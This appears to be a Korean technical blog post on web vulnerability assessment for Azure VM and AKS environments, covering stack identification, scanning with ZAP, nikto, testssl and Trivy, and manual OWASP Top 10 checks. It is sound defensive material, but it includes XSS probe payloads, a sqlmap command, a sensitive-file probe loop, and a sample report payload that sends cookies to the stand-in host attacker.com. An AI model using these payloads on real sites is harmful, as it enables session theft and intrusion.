웹 서비스 취약점 진단에서 가장 먼저 해야 할 일은 “해당 웹 서비스가 어디서, 어떻게 구동되고 있는가”를 정확히 파악하는 것입니다.
VM에서 돌고 있는지, AKS(Azure Kubernetes Service) 같은 컨테이너 환경인지에 따라 진단 접근 방식이 완전히 달라집니다. 이 글에서는 환경 식별 → WEB/WAS 서버 확인 → 자동+수동 복합 진단 전 과정을 기술적으로 정리합니다.
1. 진단 대상 환경 식별
1.1. VM 기반 vs Kubernetes 기반 판별
웹 서비스가 외부로 노출될 때 이 둘의 차이는 아래와 같습니다.
| 구분 | VM 기반 (IaaS) | Kubernetes 기반 (AKS/EKS/GKE) |
|---|
| 접근 IP | VM의 퍼블릭 IP 또는 Load Balancer IP | Ingress Controller IP / Azure Application Gateway |
| 포트 노출 | VM에서 직접 포트 오픈 (NSG/SG) | Service → Ingress → 외부 노출 |
| WEB 서버 | nginx/Apache가 VM OS 위에서 직접 실행 | Pod 내부 컨테이너로 실행 |
| WAS 서버 | Tomcat/Node.js가 VM OS에서 실행 | 별도 파드로 분리 실행 |
| 헤더 특징 | OS 레벨 서버 정보 노출 가능 | Ingress에서 헤더 재작성 다수 |
1.2. Azure 환경 식별 방법
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # VM 목록 + 퍼블릭 IP 확인
az vm list-ip-addresses \
--query "[].{Name:virtualMachine.name, PublicIP:virtualMachine.network.publicIpAddresses[0].ipAddress}" \
-o table
# AKS 클러스터 목록
az aks list \
--query "[].{Name:name, RG:resourceGroup, K8sVersion:kubernetesVersion, FQDN:privateFqdn}" \
-o table
# Ingress (외부 노출 URL) 확인
kubectl get ingress --all-namespaces \
-o custom-columns="NAMESPACE:.metadata.namespace,NAME:.metadata.name,HOST:.spec.rules[*].host,PATH:.spec.rules[*].http.paths[*].path"
# LoadBalancer 타입 Service (IP 노출)
kubectl get svc --all-namespaces | grep LoadBalancer
|
1.3. 환경별 URL → 서버 역할 매핑
1
2
3
4
5
6
7
8
9
10
| [VM 기반 예시]
https://app.example.com → Azure VM (nginx:443) → Tomcat (8080)
[AKS 기반 예시]
https://api.example.com → Azure Application Gateway → nginx Ingress Pod → Spring Boot Pod
https://admin.example.com → nginx Ingress Controller → Admin App Pod
[혼합 환경]
https://www.example.com → VM 기반 (레거시)
https://api.example.com → AKS 기반 (신규)
|
동일한 도메인이라도 내부 라우팅에 따라 VM과 K8s가 혼용되는 경우가 많습니다. Ingress 규칙과 Path-based routing을 반드시 확인하세요.
2. WEB/WAS 서버 스택 식별
2.1. HTTP 헤더 분석 (빠른 식별)
1
2
3
4
5
6
7
8
9
10
11
| # 기본 헤더 확인
curl -I -s https://target.example.com
# 상세 헤더 + 리다이렉트 추적
curl -Iv --location https://target.example.com 2>&1 | grep -E "Server:|X-Powered-By:|Via:|X-AspNet|X-Runtime"
# 여러 경로에 대해 일괄 확인
for PATH in "/" "/api" "/admin" "/health"; do
echo "=== $PATH ===";
curl -Is "https://target.example.com$PATH" | grep -E "HTTP/|Server:|X-Powered-By:";
done
|
헤더로 WEB/WAS 식별 예시:
| 헤더 값 | WEB 서버 | WAS/프레임워크 |
|---|
Server: nginx/1.21.0 | nginx | - |
Server: Apache/2.4.51 (Unix) | Apache | - |
X-Powered-By: Tomcat | - | Apache Tomcat |
X-Powered-By: Express | - | Node.js/Express |
X-Powered-By: PHP/8.1.2 | - | PHP |
X-AspNet-Version: 4.0.30319 | - | ASP.NET |
server: istio-envoy | Istio Proxy | (K8s Service Mesh) |
AKS 환경에서는 nginx Ingress가 Server: nginx 헤더를 응답하지만, 이는 WAS가 아닌 Ingress Controller입니다. 실제 WAS를 식별하려면 애플리케이션 레이어 응답을 분석해야 합니다.
2.2. 자동화 도구로 기술 스택 식별
1
2
3
4
5
6
7
8
9
10
11
| # whatweb — WEB/WAS 기술 스택 자동 식별
whatweb -v https://target.example.com
# wappalyzer CLI
npx wappalyzer https://target.example.com --probe --pretty
# nmap — 서비스 버전 + OS 탐지
nmap -sV -sC -p 80,443,8080,8443,8000,9000 target.example.com
# nikto — WEB 서버 기본 취약점 스캔
nikto -h https://target.example.com -o nikto_result.txt
|
2.3. AKS 환경에서 WEB/WAS 파드 직접 확인
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # 웹 관련 파드 목록 확인
kubectl get pods --all-namespaces \
-o custom-columns="NAMESPACE:.metadata.namespace,NAME:.metadata.name,IMAGE:.spec.containers[*].image,STATUS:.status.phase"
# 특정 파드의 실행 서버 확인 (exec)
kubectl exec -n <namespace> <pod-name> -- nginx -v
kubectl exec -n <namespace> <pod-name> -- java -version
kubectl exec -n <namespace> <pod-name> -- node --version
kubectl exec -n <namespace> <pod-name> -- php -v
# 파드 내부 포트 확인
kubectl exec -n <namespace> <pod-name> -- ss -tlnp
# 컨테이너 이미지 상세 확인 (취약 버전 식별용)
kubectl get pod <pod-name> -n <namespace> -o jsonpath='{.spec.containers[*].image}'
|
3. 진단 대상 URL 목록 구성
3.1. URL 수집 자동화
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| #!/bin/bash
# web_target_discovery.sh - 웹 진단 대상 URL 수집
OUTPUT="web_targets_$(date '+%Y%m%d').txt"
echo "# 웹 취약점 진단 대상 목록" > "$OUTPUT"
echo "# 수집 일시: $(date '+%Y-%m-%d %H:%M:%S')" >> "$OUTPUT"
echo "" >> "$OUTPUT"
# 1. AKS Ingress 기반 URL 수집
echo "## [AKS Ingress URLs]" >> "$OUTPUT"
kubectl get ingress --all-namespaces -o json | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for item in data.get('items', []):
ns = item['metadata']['namespace']
name = item['metadata']['name']
for rule in item.get('spec', {}).get('rules', []):
host = rule.get('host', '')
for path in rule.get('http', {}).get('paths', []):
p = path.get('path', '/')
print(f'https://{host}{p} # ns={ns}, ingress={name}')
" >> "$OUTPUT"
# 2. LoadBalancer Service 기반 URL 수집
echo "" >> "$OUTPUT"
echo "## [LoadBalancer Service URLs]" >> "$OUTPUT"
kubectl get svc --all-namespaces -o json | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for svc in data.get('items', []):
if svc['spec']['type'] == 'LoadBalancer':
ns = svc['metadata']['namespace']
name = svc['metadata']['name']
ingress = svc.get('status', {}).get('loadBalancer', {}).get('ingress', [])
for ing in ingress:
ip = ing.get('ip', ing.get('hostname', ''))
for port in svc['spec']['ports']:
p = port['port']
print(f'http://{ip}:{p} # ns={ns}, svc={name}')
" >> "$OUTPUT"
# 3. Azure VM 기반 URL 수집 (공개 IP + 포트)
echo "" >> "$OUTPUT"
echo "## [Azure VM URLs]" >> "$OUTPUT"
az vm list-ip-addresses \
--query "[].{name:virtualMachine.name, ip:virtualMachine.network.publicIpAddresses[0].ipAddress}" \
-o tsv 2>/dev/null | while IFS=$'\t' read -r NAME IP; do
if [ -n "$IP" ]; then
echo "https://$IP # vm=$NAME" >> "$OUTPUT"
fi
done
echo ""
echo "✅ 진단 대상 URL 목록 저장: $OUTPUT"
cat "$OUTPUT"
|
3.2. 진단 대상 분류
| 분류 | 기준 | 진단 우선순위 |
|---|
| 필수 진단 | 인터넷 노출 URL, 인증 없는 접근 가능 | 즉시 |
| 우선 진단 | VPN/내부망 URL, 로그인 필요 | 1순위 |
| 선택 진단 | 개발/테스트 환경 URL | 샘플 |
| 제외 | 관리자 전용, CSP 관리 콘솔 | 근거 문서화 |
4. 자동 진단 (Automated Testing)
4.1. OWASP ZAP — URL 기반 자동 스캔
OWASP ZAP은 웹 취약점 자동 스캔의 표준 도구입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| # Docker로 ZAP 실행 (설치 불필요)
docker pull ghcr.io/zaproxy/zaproxy:stable
# 기본 스캔 (Baseline Scan)
docker run --rm \
-v $(pwd)/zap-reports:/zap/wrk \
ghcr.io/zaproxy/zaproxy:stable \
zap-baseline.py \
-t https://target.example.com \
-r zap_baseline_report.html \
-J zap_baseline_report.json
# 전체 스캔 (Full Scan) — 능동적 취약점 탐지
docker run --rm \
-v $(pwd)/zap-reports:/zap/wrk \
ghcr.io/zaproxy/zaproxy:stable \
zap-full-scan.py \
-t https://target.example.com \
-r zap_full_report.html \
-J zap_full_report.json
# API 스캔 (OpenAPI/Swagger 기반)
docker run --rm \
-v $(pwd)/zap-reports:/zap/wrk \
ghcr.io/zaproxy/zaproxy:stable \
zap-api-scan.py \
-t https://target.example.com/api/v1/openapi.json \
-f openapi \
-r zap_api_report.html
|
ZAP 검사 항목 (주요):
| OWASP Top 10 항목 | ZAP 탐지 여부 |
|---|
| A01: 취약한 접근제어 | ✅ (인증 우회 시도) |
| A02: 암호화 실패 | ✅ (HTTP, 취약 TLS) |
| A03: 인젝션 (SQLi, XSS) | ✅ (자동 페이로드) |
| A05: 보안 설정 오류 | ✅ (헤더 점검) |
| A06: 취약한 컴포넌트 | ⚠️ (부분적) |
| A07: 인증/세션 관리 실패 | ✅ (세션 분석) |
4.2. 복수 URL 일괄 자동 스캔
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| #!/bin/bash
# zap_batch_scan.sh - 여러 URL 일괄 ZAP 스캔
TARGET_FILE="web_targets.txt"
REPORT_DIR="./zap_reports_$(date '+%Y%m%d')"
mkdir -p "$REPORT_DIR"
while IFS= read -r LINE; do
# 주석 및 빈 줄 건너뜀
[[ "$LINE" =~ ^#.*$ || -z "$LINE" ]] && continue
URL=$(echo "$LINE" | awk '{print $1}')
SAFE_NAME=$(echo "$URL" | sed 's|https\?://||;s|[/:?]|_|g')
echo "━━━ 스캔 시작: $URL ━━━"
docker run --rm \
-v "$REPORT_DIR":/zap/wrk \
ghcr.io/zaproxy/zaproxy:stable \
zap-baseline.py \
-t "$URL" \
-r "report_${SAFE_NAME}.html" \
-J "report_${SAFE_NAME}.json" \
-l WARN 2>&1 | tail -5
echo " → 완료: $REPORT_DIR/report_${SAFE_NAME}.html"
done < "$TARGET_FILE"
echo ""
echo "✅ 전체 스캔 완료. 보고서: $REPORT_DIR/"
|
4.3. WEB 서버 설정 자동 점검
nginx 설정 점검
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| # VM에서 직접 점검
nginx -T 2>/dev/null | grep -E "server_tokens|ssl_protocols|ssl_ciphers|add_header"
# AKS nginx Ingress ConfigMap 점검
kubectl describe configmap -n ingress-nginx ingress-nginx-controller
# nginx 설정 주요 점검 항목
cat <<'EOF'
=== nginx 보안 설정 점검 체크리스트 ===
[ ] server_tokens off; → 버전 정보 노출 차단
[ ] ssl_protocols TLSv1.2 TLSv1.3; → 취약 TLS 비활성화 (SSLv3, TLS 1.0 차단)
[ ] ssl_ciphers ECDHE-RSA-AES256-GCM-... → 강력한 암호화 스위트
[ ] add_header X-Frame-Options DENY; → Clickjacking 방지
[ ] add_header X-Content-Type-Options nosniff;
[ ] add_header X-XSS-Protection "1; mode=block";
[ ] add_header Strict-Transport-Security "max-age=31536000";
[ ] add_header Content-Security-Policy "...";
[ ] client_max_body_size 10m; → 대용량 업로드 제한
[ ] limit_req_zone; / limit_req; → Rate Limiting
EOF
|
Apache 설정 점검
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # VM에서 직접 점검
apachectl -M 2>/dev/null # 활성화된 모듈 목록
apachectl -S 2>/dev/null # Virtual Host 설정
grep -rE "ServerTokens|ServerSignature|TraceEnable|Indexes" /etc/apache2/ /etc/httpd/
# Apache 보안 설정 점검
cat <<'EOF'
=== Apache 보안 설정 점검 체크리스트 ===
[ ] ServerTokens Prod; → 서버 버전 정보 최소화
[ ] ServerSignature Off; → 오류 페이지 서버 정보 숨김
[ ] TraceEnable Off; → HTTP TRACE 메서드 비활성화
[ ] Options -Indexes; → 디렉토리 목록 노출 방지
[ ] Header always append X-Frame-Options DENY
[ ] Header set X-Content-Type-Options nosniff
[ ] LimitRequestBody 10485760; → 요청 크기 제한
[ ] mod_security 설치 및 활성화; → WAF 모듈
EOF
|
Tomcat WAS 설정 점검
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| # Tomcat 설정 파일 위치 (VM)
find /opt /usr /home -name "server.xml" 2>/dev/null
find /opt /usr /home -name "web.xml" 2>/dev/null
# manager 앱, host-manager 접근 제한 확인
grep -r "RemoteAddrValve\|RemoteHostValve" /opt/tomcat/conf/ 2>/dev/null
# AKS 파드 내 Tomcat 설정 점검
kubectl exec -n <namespace> <tomcat-pod> -- cat /usr/local/tomcat/conf/server.xml
cat <<'EOF'
=== Tomcat 보안 설정 점검 체크리스트 ===
[ ] Connector의 server 속성 제거/변경 → 버전 정보 숨김
[ ] /manager 접근을 IP 제한 (RemoteAddrValve)
[ ] /host-manager 접근을 IP 제한
[ ] shutdown port 변경 (기본 8005 → 비활성화)
[ ] AJP Connector 비활성화 (사용 안 할 경우)
[ ] autoDeploy="false" 설정 → 임의 배포 방지
[ ] DefaultServlet의 readonly="true" → 파일 업로드 방지
[ ] Strict-Transport-Security 헤더 설정
[ ] 취약 버전 확인 (CVE 조회)
EOF
|
5. 수동 진단 (Manual Testing)
자동 스캔은 알려진 패턴 기반이므로, 비즈니스 로직 취약점은 반드시 수동으로 확인해야 합니다.
5.1. Burp Suite를 활용한 수동 진단
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| [Burp Suite 수동 진단 흐름]
① Proxy 설정
브라우저 → Burp Proxy (127.0.0.1:8080) → 대상 웹사이트
② Scope 설정
Target → Scope에 진단 대상 URL 추가
③ Spider / Crawl
자동으로 웹 사이트 내 URL, 폼, API 엔드포인트 수집
④ Repeater — 요청 조작 및 반복 테스트
수집된 요청 → 파라미터 변조 → 서버 응답 분석
⑤ Intruder — 자동화된 페이로드 삽입
SQLi, XSS, IDOR 등 페이로드 리스트 적용
⑥ Decoder / Comparer
Base64, URL 인코딩 분석, 응답 차이 비교
|
5.2. OWASP Top 10 수동 점검 시나리오
A01: 취약한 접근제어 (Broken Access Control)
1
2
3
4
5
6
7
8
9
10
| 점검 방법:
1. 다른 사용자 ID로 자원 접근 시도 (IDOR)
GET /api/users/1001/profile → 로그인 사용자가 1002이면?
2. 권한 없는 URL 직접 접근
/admin → 일반 사용자로 접근 시 403인지 확인
3. HTTP 메서드 변조
GET /api/orders/delete/123
DELETE /api/orders/123 → 권한 차이 확인
|
A03: 인젝션
1
2
3
4
5
6
7
8
9
10
| # SQLi 테스트 (sqlmap)
sqlmap -u "https://target.example.com/search?q=test" \
--level=3 --risk=2 \
--dbs --batch
# XSS 테스트 (수동 페이로드)
# 입력 폼, URL 파라미터, HTTP 헤더에 아래 페이로드 삽입
<script>alert(document.domain)</script>
"><img src=x onerror=alert(1)>
javascript:alert(1)
|
A05: 보안 설정 오류
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # 중요 파일 노출 확인
for FILE in /.env /.git/config /web.config /backup.sql /robots.txt /sitemap.xml \
/phpinfo.php /.DS_Store /server-status /server-info; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://target.example.com$FILE")
echo "$CODE $FILE"
done
# 불필요한 HTTP 메서드 확인
curl -X OPTIONS -I https://target.example.com
curl -X TRACE -I https://target.example.com
# 보안 헤더 종합 점검
curl -I https://target.example.com | grep -iE \
"Strict-Transport|X-Frame|X-Content-Type|Content-Security|X-XSS|Referrer-Policy"
|
A07: 인증 및 세션 관리 실패
1
2
3
4
5
6
7
| 점검 항목:
[ ] 로그인 시도 횟수 제한 (Brute Force 방어)
[ ] 세션 토큰 복잡도 및 예측 불가능성
[ ] 로그아웃 후 세션 무효화
[ ] HTTPS Only 쿠키 속성 (Secure, HttpOnly, SameSite)
[ ] 비밀번호 재설정 링크의 만료 시간
[ ] JWT Token: alg=none, 약한 서명키 확인
|
5.3. 수동 진단 체크리스트 (전체)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
| === 웹 취약점 수동 진단 체크리스트 ===
[인증 및 세션]
[ ] 기본 관리자 계정 (admin/admin, admin/1234 등)
[ ] 계정 잠금 정책 미적용 → Brute Force
[ ] 세션 ID가 URL에 노출
[ ] 로그아웃 후 세션 재사용 가능
[ ] 쿠키 Secure/HttpOnly 속성 미설정
[입력값 검증]
[ ] GET/POST 파라미터 SQLi
[ ] XSS (Reflected, Stored, DOM)
[ ] Command Injection (OS 명령어 삽입)
[ ] Path Traversal (../../etc/passwd)
[ ] XML/JSON Injection (SSTI, XXE)
[파일 처리]
[ ] 파일 업로드 — 확장자 우회 (webshell)
[ ] 파일 다운로드 — 경로 조작
[ ] 임시 파일 노출 (backup, .bak, .old)
[접근 제어]
[ ] IDOR (직접 객체 참조)
[ ] 수평적 권한 상승 (다른 사용자 데이터 접근)
[ ] 수직적 권한 상승 (일반 사용자 → 관리자)
[ ] API 엔드포인트 무인증 접근
[설정 오류]
[ ] 디렉토리 목록 노출
[ ] 오류 페이지 내 스택 트레이스 노출
[ ] 개발 환경 정보 노출 (DEBUG=True 등)
[ ] 불필요한 HTTP 메서드 (TRACE, PUT, DELETE)
[ ] 보안 헤더 미설정
[암호화]
[ ] 평문 HTTP 서비스 (HTTPS 미적용)
[ ] 취약 TLS 버전 (TLS 1.0, 1.1, SSLv3)
[ ] 약한 암호화 스위트 (RC4, DES, 3DES)
[ ] 인증서 만료 또는 자체 서명 인증서
[API 보안]
[ ] API Rate Limiting 미적용
[ ] API Key/Token이 응답 바디에 노출
[ ] Swagger/OpenAPI 문서 무인증 공개
[ ] GraphQL — Introspection 공개, Depth 제한 없음
|
6. WEB/WAS 서버별 전용 진단 도구
6.1. SSL/TLS 취약점 진단
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # testssl.sh — TLS 취약점 종합 진단
docker run --rm \
drwetter/testssl.sh \
--severity HIGH \
--html \
--jsonfile /tmp/tls_report.json \
https://target.example.com
# 주요 취약점 확인 항목
# - BEAST (CVE-2011-3389)
# - POODLE (CVE-2014-8730)
# - HEARTBLEED (CVE-2014-0160)
# - DROWN (CVE-2016-0800)
# - ROBOT (FFT/RSA padding oracle)
# - 인증서 유효기간, CN, SAN 확인
|
6.2. 웹 서버 버전 취약점 조회
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| #!/bin/bash
# web_server_cve_check.sh - WEB 서버 버전 CVE 조회
check_cve() {
local PRODUCT="$1"
local VERSION="$2"
echo "=== $PRODUCT $VERSION CVE 조회 ==="
curl -s "https://cve.circl.lu/api/search/$PRODUCT/$VERSION" | \
python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
results = data if isinstance(data, list) else data.get('results', [])
critical = [r for r in results if r.get('cvss', 0) >= 9.0]
high = [r for r in results if 7.0 <= r.get('cvss', 0) < 9.0]
print(f' Critical: {len(critical)}건, High: {len(high)}건')
for r in (critical + high)[:5]:
print(f' [{r.get(\"cvss\",0):.1f}] {r.get(\"id\",\"\")} - {r.get(\"summary\",\"\")[:80]}')
except: print(' 조회 실패')
"
}
# 대상의 WEB/WAS 버전 자동 감지
TARGET="https://target.example.com"
SERVER_HEADER=$(curl -Is "$TARGET" | grep -i "^Server:" | head -1)
echo "서버 헤더: $SERVER_HEADER"
# nginx 버전 추출
NGINX_VER=$(echo "$SERVER_HEADER" | grep -oP 'nginx/\K[\d.]+')
[ -n "$NGINX_VER" ] && check_cve "nginx" "$NGINX_VER"
# Apache 버전 추출
APACHE_VER=$(echo "$SERVER_HEADER" | grep -oP 'Apache/\K[\d.]+')
[ -n "$APACHE_VER" ] && check_cve "apache_http_server" "$APACHE_VER"
|
6.3. AKS 컨테이너 이미지 취약점 스캔 (Trivy)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # 실행 중인 파드 이미지 일괄 스캔
kubectl get pods --all-namespaces \
-o jsonpath='{range .items[*]}{.spec.containers[*].image}{"\n"}{end}' | \
sort -u | \
while read -r IMAGE; do
echo "━━━ 스캔: $IMAGE ━━━"
trivy image \
--severity HIGH,CRITICAL \
--format table \
"$IMAGE" 2>/dev/null | tail -20
done
# 특정 파드의 전체 취약점 보고서
trivy image \
--severity CRITICAL,HIGH,MEDIUM \
--format json \
--output "trivy_$(echo $IMAGE | tr '/:' '_').json" \
nginx:1.21.0
|
7. 수동+자동 복합 진단 프로세스
7.1. 복합 진단 워크플로우
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| [Phase 1] 대상 식별 및 정보 수집 (OSINT + 내부 조회) ──────────────
① Azure/AKS CLI로 URL 목록 수집
② HTTP 헤더 분석으로 WEB/WAS 스택 식별
③ whatweb, nmap으로 기술 정보 수집
④ 진단 대상 범위 확정 (스코프 문서 작성)
[Phase 2] 자동 스캔 ────────────────────────────────────────────────
① OWASP ZAP Baseline 스캔 (전체 URL)
② testssl.sh로 TLS 취약점 스캔
③ nikto로 WEB 서버 기본 취약점 스캔
④ Trivy로 컨테이너 이미지 CVE 스캔 (AKS)
⑤ 자동 스캔 결과 정리 (False Positive 제거)
[Phase 3] 수동 검증 (자동 결과 기반) ──────────────────────────────
① 자동 스캔 취약점 항목 수동 재현
② 비즈니스 로직 취약점 검토 (IDOR, 권한 우회)
③ Burp Suite로 심화 분석
④ WEB/WAS 서버 설정 점검 (서버 직접 접근 또는 파드 exec)
[Phase 4] 위험도 평가 및 보고 ─────────────────────────────────────
① CVSS 점수 기반 위험도 분류 (Critical/High/Medium/Low)
② 취약점별 PoC 및 재현 경로 문서화
③ 조치 권고사항 작성
④ 재진단 일정 협의
|
7.2. 환경별 진단 전략 매트릭스
| 구분 | VM 기반 | AKS/K8s 기반 |
|---|
| URL 식별 | Azure VM 공개 IP/도메인 | kubectl get ingress |
| WEB 서버 | VM에서 nginx/Apache 직접 점검 | Ingress Controller ConfigMap 점검 |
| WAS 서버 | SSH 접속 후 설정 파일 점검 | kubectl exec으로 파드 내부 점검 |
| 자동 스캔 | ZAP → URL 직접 스캔 | ZAP → Ingress URL 스캔 |
| 이미지 CVE | OS 패키지 취약점 (Trivy/OpenVAS) | 컨테이너 이미지 Trivy 스캔 |
| 네트워크 | NSG 규칙 점검 | NetworkPolicy + Ingress 규칙 점검 |
8. 진단 결과 위험도 분류 및 보고서
8.1. CVSS 기반 위험도 분류
| 위험도 | CVSS 범위 | 대응 기한 | 예시 취약점 |
|---|
| Critical | 9.0 ~ 10.0 | 즉시 (24h) | RCE, SQLi (auth 없음), 인증서 탈취 |
| High | 7.0 ~ 8.9 | 7일 이내 | Stored XSS, IDOR (민감 데이터), 취약 TLS |
| Medium | 4.0 ~ 6.9 | 30일 이내 | Reflected XSS, 보안 헤더 누락 |
| Low | 0.1 ~ 3.9 | 90일 이내 | 버전 노출, 불필요한 메서드 허용 |
8.2. 결과 보고서 양식 (항목별)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| ## 취약점 항목: [Stored XSS — 게시판 본문 필드]
**위험도**: High (CVSS 7.4)
**URL**: https://target.example.com/board/write
**파라미터**: content (POST body)
**취약점 설명**:
게시판 본문 입력 필드에 스크립트 코드 삽입 후 저장 시,
다른 사용자가 해당 게시물 열람 시 악성 스크립트가 실행됩니다.
**재현 절차**:
1. /board/write 접속 후 본문에 아래 페이로드 입력
<script>document.location='https://attacker.com/c?'+document.cookie</script>
2. 게시물 저장
3. 다른 계정으로 해당 게시물 열람 → 쿠키 탈취 확인
**영향**:
- 관리자 세션 탈취로 사이트 전체 장악 가능
- 사용자 개인정보 노출
**조치 권고**:
1. 서버 측 입력값 검증 (허용 태그 화이트리스트)
2. 출력 시 HTML 인코딩 적용
3. Content-Security-Policy 헤더 설정
4. HttpOnly 쿠키 속성 적용
|
9. ISMS/ISO 27001 증적 체크리스트
웹 취약점 진단 관련 심사 대비 준비 항목입니다.
| # | 증적 자료 | 비고 |
|---|
| 1 | 진단 대상 URL 목록 (확정 스코프) | 담당자 서명 |
| 2 | 진단 수행 계획서 | 일정, 방법론, 담당자 |
| 3 | 자동 스캔 결과 (ZAP, nikto) | 원본 HTML/JSON 보관 |
| 4 | 수동 진단 결과 (Burp Suite 스크린샷) | 재현 증적 포함 |
| 5 | TLS 진단 결과 (testssl.sh) | 버전/암호화 스위트 |
| 6 | WEB/WAS 설정 점검 결과 | 항목별 양호/취약 판정 |
| 7 | 취약점 보고서 (위험도 분류) | 조치 권고사항 포함 |
| 8 | 조치 완료 확인서 | 재진단 결과 포함 |
심사관 단골 질문: “웹 취약점 진단은 어떤 도구로, 얼마나 자주 수행하나요?”
A: OWASP ZAP을 이용한 자동 스캔(분기 1회)과 Burp Suite 기반 수동 진단(반기 1회)을 병행하며, 주요 배포 시 변경사항에 대해 추가 스캔을 수행합니다.
관련 포스트